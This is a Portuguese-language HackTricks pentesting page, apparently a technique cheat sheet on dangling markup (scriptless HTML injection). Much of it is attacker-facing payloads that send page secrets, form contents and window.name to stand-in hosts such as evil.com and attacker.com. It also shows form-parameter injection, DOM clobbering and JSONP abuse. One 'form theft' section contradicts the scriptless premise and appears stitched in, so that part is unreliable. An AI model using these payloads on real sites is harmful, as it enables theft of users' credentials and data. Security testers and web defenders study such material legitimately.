hacktricks/pentesting-web/dangling-markup-html-scriptless-injection/README.md

282 lines
17 KiB
Markdown

# Dangling Markup - Injeção HTML sem script
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Resumo
Essa técnica pode ser usada para extrair informações de um usuário quando uma **injeção HTML é encontrada**. Isso é muito útil se você **não encontrar nenhuma maneira de explorar um** [**XSS**](../xss-cross-site-scripting/), mas você pode **injetar algumas tags HTML**.\
Também é útil se algum **segredo estiver salvo em texto claro** no HTML e você quiser **extrair** isso do cliente, ou se você quiser enganar a execução de algum script.
Várias técnicas comentadas aqui podem ser usadas para contornar algumas [**Políticas de Segurança de Conteúdo**](../content-security-policy-csp-bypass/) exfiltrando informações de maneiras inesperadas (tags html, CSS, http-meta tags, formulários, base...).
## Principais Aplicações
### Roubo de segredos em texto claro
Se você injetar `<img src='http://evil.com/log.cgi?` quando a página for carregada, a vítima enviará para você todo o código entre a tag `img` injetada e a próxima aspas dentro do código. Se um segredo estiver de alguma forma localizado nesse trecho, você irá roubá-lo (você pode fazer a mesma coisa usando aspas duplas, veja qual pode ser mais interessante de usar).
Se a tag `img` for proibida (devido a CSP, por exemplo), você também pode usar `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`.
```
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
```
Observe que o **Chrome bloqueia URLs HTTP** com "<" ou "\n" nele, então você pode tentar outros esquemas de protocolo como "ftp".
Você também pode abusar do CSS `@import` (enviará todo o código até encontrar um ";")
```markup
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
```
Você também pode usar **`<table`**:
```bash
<table background='//your-collaborator-id.burpcollaborator.net?'
```
Você também pode inserir uma tag `<base`. Todas as informações serão enviadas até que a citação seja fechada, mas isso requer alguma interação do usuário (o usuário deve clicar em algum link, porque a tag base terá alterado o domínio apontado pelo link):
```markup
<base target=' <--- Injected
steal me'<b>test</b>
```
### Roubo de formulários
Nesta técnica de injeção de script sem marcação, exploramos uma vulnerabilidade conhecida como "dangling markup" (marcação pendente) para roubar informações de formulários em um site.
#### Como funciona?
1. Identifique um site vulnerável que possua formulários interativos.
2. Procure por páginas que possuam código HTML malformado ou incompleto.
3. Verifique se há tags de abertura de formulário `<form>` sem a correspondente tag de fechamento `</form>`.
4. Insira um código JavaScript malicioso dentro da tag `<form>`, aproveitando-se da vulnerabilidade de marcação pendente.
5. O código JavaScript injetado pode ser usado para capturar informações inseridas pelos usuários nos campos do formulário, como senhas, endereços de e-mail, números de telefone, etc.
6. As informações capturadas podem ser enviadas para um servidor controlado pelo atacante ou armazenadas em um arquivo para uso posterior.
#### Medidas de proteção
Para proteger seu site contra esse tipo de ataque, siga estas práticas recomendadas:
- Certifique-se de que todas as tags HTML sejam fechadas corretamente.
- Valide e sanitize todos os dados de entrada recebidos dos usuários.
- Implemente mecanismos de detecção de código malicioso e bloqueie qualquer tentativa de injeção de script.
- Mantenha seu software e frameworks atualizados para corrigir quaisquer vulnerabilidades conhecidas.
Lembre-se de que a segurança do seu site é uma responsabilidade contínua. Fique atento a possíveis vulnerabilidades e aplique as medidas de proteção adequadas.
```markup
<base href='http://evil.com/'>
```
Então, os formulários que enviam dados para um caminho (como `<form action='update_profile.php'>`) enviarão os dados para o domínio malicioso.
### Roubo de formulários 2
Defina um cabeçalho de formulário: `<form action='http://evil.com/log_steal'>` isso irá sobrescrever o próximo cabeçalho do formulário e todos os dados do formulário serão enviados para o atacante.
### Roubo de formulários 3
O botão pode alterar a URL para onde as informações do formulário serão enviadas com o atributo "formaction":
```markup
<button name=xss type=submit formaction='https://google.com'>I get consumed!
```
Um atacante pode usar isso para roubar as informações.
### Roubo de segredos em texto claro 2
Usando a técnica mencionada anteriormente para roubar formulários (injetando um novo cabeçalho de formulário), você pode então injetar um novo campo de entrada:
```markup
<input type='hidden' name='review_body' value="
```
e este campo de entrada conterá todo o conteúdo entre suas aspas duplas e as próximas aspas duplas no HTML. Este ataque mistura "_**Roubo de segredos em texto claro**_" com "_**Roubo de formulários2**_".
Você pode fazer a mesma coisa injetando um formulário e uma tag `<option>`. Todos os dados até que um `</option>` fechado seja encontrado serão enviados:
```markup
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
```
### Injeção de parâmetro de formulário
Você pode alterar o caminho de um formulário e inserir novos valores para que uma ação inesperada seja executada:
```markup
<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'> ← Injected lines
<form action="/change_settings.php"> ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value=""> ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>
```
### Roubo de segredos em texto claro via noscript
`<noscript></noscript>` é uma tag cujo conteúdo será interpretado se o navegador não suportar JavaScript (você pode habilitar/desabilitar o JavaScript no Chrome em [chrome://settings/content/javascript](chrome://settings/content/javascript)).
Uma maneira de exfiltrar o conteúdo da página da web a partir do ponto de injeção até o final para um site controlado pelo atacante será injetar o seguinte:
```markup
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
```
### Bypassando CSP com interação do usuário
A partir desta [pesquisa da PortSwigger](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup), você pode aprender que mesmo em ambientes com as **restrições mais rígidas do CSP**, ainda é possível **extrair dados** com alguma **interação do usuário**. Nesta ocasião, vamos usar o payload:
```markup
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
```
Observe que você solicitará à **vítima** que **clique em um link** que o redirecionará para um **payload** controlado por você. Observe também que o atributo **`target`** dentro da tag **`base`** conterá **conteúdo HTML** até a próxima aspa simples.\
Isso fará com que o **valor** de **`window.name`** seja todo esse **conteúdo HTML** quando o link for clicado. Portanto, como você **controla a página** em que a vítima está acessando ao clicar no link, você pode acessar esse **`window.name`** e **extrair** esses dados:
```markup
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
```
### Fluxo de script enganoso 1 - Ataque de namespace HTML
Insira uma nova tag com um id dentro do HTML que irá sobrescrever a próxima e com um valor que afetará o fluxo de um script. Neste exemplo, você está selecionando com quem uma informação será compartilhada:
```markup
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
...
Share this status update with: ← Legitimate optional element of a dialog
<input id='share_with' value=''>
...
function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}
```
### Fluxo de script enganoso 2 - Ataque de namespace de script
Crie variáveis dentro do namespace do JavaScript inserindo tags HTML. Em seguida, essa variável afetará o fluxo da aplicação:
```markup
<img id='is_public'> ← Injected markup
...
// Legitimate application code follows
function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC) ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}
function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC; ← Condition always evaluates to true
...
}
```
### Abuso de JSONP
Se você encontrar uma interface JSONP, poderá chamar uma função arbitrária com dados arbitrários:
```markup
<script src='/editor/sharing.js'>: ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
<script src='/search?q=a&call=set_sharing'>: ← Injected JSONP call
set_sharing({ ... })
```
Ou você pode até tentar executar algum javascript:
```markup
<script src='/search?q=a&call=alert(1)'></script>
```
### Uso indevido de Iframe
Observe que um **documento filho pode visualizar e definir a propriedade de localização do pai, mesmo que seja de origem cruzada.** Isso significa que você pode fazer com que o cliente acesse qualquer outra página carregando dentro de um **iframe** algum código como:
```markup
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
```
Isso pode ser mitigado com algo como: _**sandbox='allow-scripts allow-top-navigation'**_
Um iframe também pode ser explorado para vazar informações sensíveis de uma página diferente **usando o atributo de nome do iframe**. Isso ocorre porque você pode criar um iframe que se auto-iframe abusando da injeção de HTML que faz com que as **informações sensíveis apareçam dentro do atributo de nome do iframe** e, em seguida, acessar esse nome do iframe inicial e vazá-lo.
```html
<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
```
Para mais informações, verifique [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
### \<meta abuso
Você pode usar **`meta http-equiv`** para realizar **várias ações** como definir um Cookie: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` ou realizar um redirecionamento (em 5s neste caso): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
Isso pode ser **evitado** com um **CSP** em relação ao **http-equiv** (`Content-Security-Policy: default-src 'self';`, ou `Content-Security-Policy: http-equiv 'self';`)
### Nova tag HTML \<portal>
Você pode encontrar uma pesquisa muito **interessante** sobre vulnerabilidades exploráveis da tag \<portal> [aqui](https://research.securitum.com/security-analysis-of-portal-element/).\
No momento em que este texto foi escrito, você precisa habilitar a tag portal no Chrome em `chrome://flags/#enable-portals` ou não funcionará.
```markup
<portal src='https://attacker-server?
```
### Vazamentos de HTML
Nem todas as formas de vazamento de conectividade em HTML serão úteis para o Dangling Markup, mas às vezes isso pode ajudar. Verifique-os aqui: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
## Vazamentos de SS
Isso é uma **combinação** entre **dangling markup e XS-Leaks**. De um lado, a vulnerabilidade permite **injetar HTML** (mas não JS) em uma página da **mesma origem** daquela que estaremos atacando. Por outro lado, não **atacaremos** diretamente a página onde podemos injetar HTML, mas **outra página**.
{% content-ref url="ss-leaks.md" %}
[ss-leaks.md](ss-leaks.md)
{% endcontent-ref %}
## XS-Search/XS-Leaks
XS-Search é orientado para **extrair informações de origens cruzadas** abusando de **ataques de canal lateral**. Portanto, é uma técnica diferente do Dangling Markup, no entanto, algumas das técnicas abusam da inclusão de tags HTML (com e sem execução de JS), como [**Injeção de CSS**](../xs-search.md#css-injection) ou [**Carregamento Preguiçoso de Imagens**](../xs-search.md#image-lazy-loading)**.**
{% content-ref url="../xs-search.md" %}
[xs-search.md](../xs-search.md)
{% endcontent-ref %}
## Lista de Detecção de Força Bruta
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
## Referências
Todas as técnicas apresentadas aqui e mais podem ser revisadas com mais detalhes em:
{% embed url="http://lcamtuf.coredump.cx/postxss/" %}
Outras tags HTML que podem ser abusadas podem ser encontradas aqui:
{% embed url="http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/" %}
Mais informações:
{% embed url="https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>